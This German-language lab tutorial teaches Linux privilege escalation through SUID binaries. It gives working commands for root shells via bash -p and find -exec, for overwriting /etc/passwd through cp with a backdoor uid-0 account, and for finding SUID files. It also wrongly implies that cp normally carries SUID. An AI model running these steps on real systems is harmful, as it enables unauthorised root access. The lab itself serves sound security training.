Einführung
In diesem Lab lernen Sie über die SUID (Set user ID upon execution, Benutzer-ID beim Ausführen setzen) -Berechtigung und wie Sie diese für die Privilegierhöhung auf Linux-Systemen nutzen können. Das Ziel besteht darin, Root-Zugang zu erhalten, indem Sie SUID-Binaries mit verschiedenen Techniken ausnutzen, einschließlich der Verwendung der Befehle bash, find, cp und mv.
Grundlagen von SUID
In diesem Schritt werden Sie das Konzept der SUID-Berechtigung und ihre Auswirkungen verstehen.
Normalerweise wird ein Programm auf Linux mit den Rechten des aktuellen Benutzers ausgeführt. Einige Programme wie cp benötigen jedoch erhöhte Privilegien, um bestimmte Operationen auszuführen, wie z. B. das Kopieren von Dateien in eingeschränkte Verzeichnisse. Um gewöhnlichen Benutzern zu ermöglichen, solche Programme mit erhöhten Privilegien auszuführen, kann die SUID-Berechtigung für die ausführbare Datei festgelegt werden.
SUID steht für "Set user ID upon execution" (Benutzer-ID beim Ausführen setzen). Wenn eine Datei die SUID-Berechtigung hat, wird sie mit den Rechten ihres Besitzers ausgeführt, unabhängig davon, welcher Benutzer sie ausführt. Beispielsweise wird der Befehl cp vom Root-Benutzer besessen und hat das SUID-Bit gesetzt, sodass jeder Benutzer ihn mit Root-Rechten ausführen kann.
Um die SUID-Berechtigung für den Befehl cp zu überprüfen und die Ausgabe in einer Datei zu speichern, führen Sie den folgenden Befehl aus:
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
Zeigen Sie den Inhalt der Datei suid_cp.txt mit dem folgenden Befehl an:
cat /home/labex/project/suid_cp.txt
Erwartete Ausgabe:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
Sie sollten ein s in den Berechtigungsbits sehen, was auf die SUID-Berechtigung hinweist.
Während SUID nützlich sein kann, um gewöhnlichen Benutzern das Ausführen bestimmter privilegierter Befehle zu ermöglichen, kann es auch ausgenutzt werden, wenn das SUID-Binary Funktionen zum Ausführen von Systembefehlen oder zum Ändern von Dateien bietet.
Ausnutzen von SUID mit bash
In diesem Schritt lernen Sie, wie Sie den bash-Befehl mit SUID-Berechtigung für die Privilegierhöhung ausnutzen können.
Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis
/home/labex/project.cd /home/labex/projectÜberprüfen Sie die Berechtigungen des
bash-Befehls.ls -l /bin/bashErwartete Ausgabe:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bashWenn der
bash-Befehl das SUID-Bit gesetzt hat, können Sie ihn nutzen, um Systembefehle mit Root-Rechten auszuführen, indem Sie den folgenden Befehl verwenden:bash -pMit
whoamikönnen Sie überprüfen, dass Sie eine Root-Shell haben.whoamiErwartete Ausgabe:
rootJetzt können Sie eine Datei namens
root.txtim Verzeichnis/rooterstellen und den Inhalt der Datei überprüfen.touch /root/root.txtSie sollten die Datei
root.txtim Verzeichnis/rootsehen.
Ausnutzen von SUID mit find
In diesem Schritt lernen Sie, wie Sie den find-Befehl mit SUID-Berechtigung für die Privilegierhöhung ausnutzen können.
Nach dem letzten Schritt sollten Sie eine Root-Shell haben. Für diesen Schritt müssen Sie sich aus der Root-Shell abmelden und erneut als Benutzer labex anmelden, indem Sie den Befehl exit verwenden oder ein neues Terminal öffnen.
Navigieren Sie zunächst in das Verzeichnis
/home/labex/project:cd /home/labex/projectÜberprüfen Sie die Berechtigungen des
find-Befehls:ls -l /usr/bin/findWenn der
find-Befehl das SUID-Bit gesetzt hat, können Sie ihn nutzen, um Systembefehle mit Root-Rechten auszuführen.Die Syntax zum Ausführen eines Befehls mit
findlautet:find < file > -exec < command > \;Hier kann
<file>jede beliebige Datei sein. Erstellen Sie eine Datei namenstest:touch testJetzt können Sie Befehle mit
findausführen:find test -exec whoami \;Dadurch wird der Befehl
whoamimit Root-Rechten ausgeführt. Diese Methode ist jedoch nicht praktisch für interaktive Befehle wiesshodersu.Um eine praktischere Root-Shell zu erhalten, können Sie den Befehl
/bin/bashausführen:find test -exec /bin/bash -p \;Hinweis: Die Option
-pist erforderlich, um die effektive Benutzer-ID (EUID) beizubehalten und zu verhindern, dass sie auf die reale Benutzer-ID (RUID) zurückgesetzt wird.Sie sollten jetzt eine Root-Shell haben. Erstellen Sie eine Datei namens
root.txtim Verzeichnis/rootund überprüfen Sie den Inhalt der Datei:touch /root/root.txtSie sollten die Datei
root.txtim Verzeichnis/rootsehen.
Ausnutzen von SUID mit cp und mv
In diesem Schritt lernen Sie, wie Sie die Befehle cp und mv mit SUID-Berechtigung für die Privilegierhöhung ausnutzen können, indem Sie die Datei /etc/passwd oder /etc/shadow ändern.
Nach dem letzten Schritt sollten Sie eine Root-Shell haben. Für diesen Schritt müssen Sie sich aus der Root-Shell abmelden und erneut als Benutzer labex anmelden, indem Sie den Befehl exit verwenden oder ein neues Terminal öffnen.
Navigieren Sie zunächst in das Verzeichnis
/home/labex/project:cd /home/labex/projectÜberprüfen Sie die Berechtigungen des
cp-Befehls:ls -l /bin/cpWenn der
cp-Befehl das SUID-Bit gesetzt hat, können Sie mit der Ausnutzung fortfahren.Kopieren Sie den Inhalt der Datei
/etc/passwdin eine Datei in Ihrem Home-Verzeichnis:cat /etc/passwd > /home/labex/project/passwdErstellen Sie einen neuen Benutzer-Eintrag mit den folgenden Details:
Benutzername: hacked
Passwort: pass123
Fügen Sie die folgende Zeile am Ende der Datei
/home/labex/project/passwdein:echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
Verwenden Sie jetzt den
cp-Befehl mit SUID-Berechtigung, um die Datei/etc/passwdzu überschreiben:cp /home/labex/project/passwd /etc/passwdNach dem Überschreiben der Datei können Sie mit dem Befehl
suzum Benutzerhackedmit dem Passwortpass123wechseln:su hacked
Da der Benutzer hacked eine Benutzer-ID (uid) von 0 hat, haben Sie Root-Rechte.
Die Ausnutzungsmethode für den mv-Befehl ist ähnlich wie für cp. Sie können es selbst ausprobieren.
Suche nach SUID-Binaries
In diesem Schritt lernen Sie, wie Sie auf einem System SUID-Binaries finden können, die möglicherweise für die Privilegierhöhung ausgenutzt werden können.
Sie können die folgenden Befehle verwenden, um alle ausführbaren Dateien mit gesetztem SUID-Bit aufzulisten:
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s -type f 2> /dev/null find / -user root -perm -4000 -exec ls -ldb {} \;Navigieren Sie in das Verzeichnis
/home/labex/project, um die folgenden Schritte auszuführen.cd /home/labex/projectWählen Sie einen der Befehle aus, um die SUID-Binaries auf dem System aufzulisten und analysieren Sie die Ausgabe.
find / -user root -perm -4000 -print 2> /dev/null > check_results.txtÜberprüfen Sie den Inhalt der Datei
check_results.txt, um die Liste der SUID-Binaries auf dem System anzuzeigen.cat check_results.txtDie Ausgabe kann jedoch viele Dateien enthalten, die nicht für die Privilegierhöhung ausgenutzt werden können und daher manuell analysiert werden müssen.
Zusammenfassung
In diesem Lab haben Sie sich mit der SUID-Berechtigung (Set User ID) vertraut gemacht und gelernt, wie Sie verschiedene SUID-Binaries wie bash, find, cp und mv auf Linux-Systemen für die Privilegierhöhung nutzen können. Sie haben praktische Erfahrungen in der Ausnutzung dieser Binaries gesammelt, um Root-Zugang zu erhalten, was eine entscheidende Fähigkeit auf dem Gebiet der Cybersicherheit ist. Das Lab bot ein praktisches Szenario und führte Sie Schritt für Schritt durch die Vorgehensweise, um die Techniken effektiv zu verstehen und anzuwenden.



